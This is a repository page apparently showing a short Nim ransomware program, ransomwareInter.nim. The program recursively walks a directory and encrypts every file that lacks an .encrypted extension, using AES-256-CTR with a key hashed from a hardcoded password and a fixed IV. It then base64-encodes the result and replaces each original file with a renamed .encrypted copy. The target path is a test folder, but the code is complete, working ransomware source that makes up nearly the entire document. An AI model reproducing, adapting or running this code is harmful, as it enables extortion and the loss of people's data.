-
Notifications
You must be signed in to change notification settings - Fork 1
/
ransomwareInter.nim
38 lines (31 loc) · 1.15 KB
/
ransomwareInter.nim
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import os
import strformat
import base64
import nimcrypto
func toByteSeq*(str: string): seq[byte] {.inline.} =
@(str.toOpenArrayByte(0, str.high))
let
password: string = "myKey" # Our secret key
path: string = "C:/Users/shant/Desktop/Ransomware-Nim/test"
for file in walkDirRec path:
let fileSplit = splitFile(file)
if fileSplit.ext != ".encrypted":
echo fmt"[*] Encrypting: {file}"
var
inFileContents: string = readFile(file)
plaintext: seq[byte] = toByteSeq(inFileContents)
ectx: CTR[aes256]
key: array[aes256.sizeKey, byte]
iv: array[aes256.sizeBlock, byte]
encrypted: seq[byte] = newSeq[byte](len(plaintext))
iv = [byte 183, 142, 238, 156, 42, 43, 248, 100, 125, 249, 192, 254, 217, 222, 133, 149]
var expandedKey = sha256.digest(password)
copyMem(addr key[0], addr expandedKey.data[0], len(expandedKey.data))
echo len(inFileContents)
ectx.init(key, iv)
ectx.encrypt(plaintext, encrypted)
ectx.clear()
let encodedCrypted = encode(encrypted)
let finalFile = file & ".encrypted"
moveFile(file, finalFile)
writeFile(finalFile, encodedCrypted)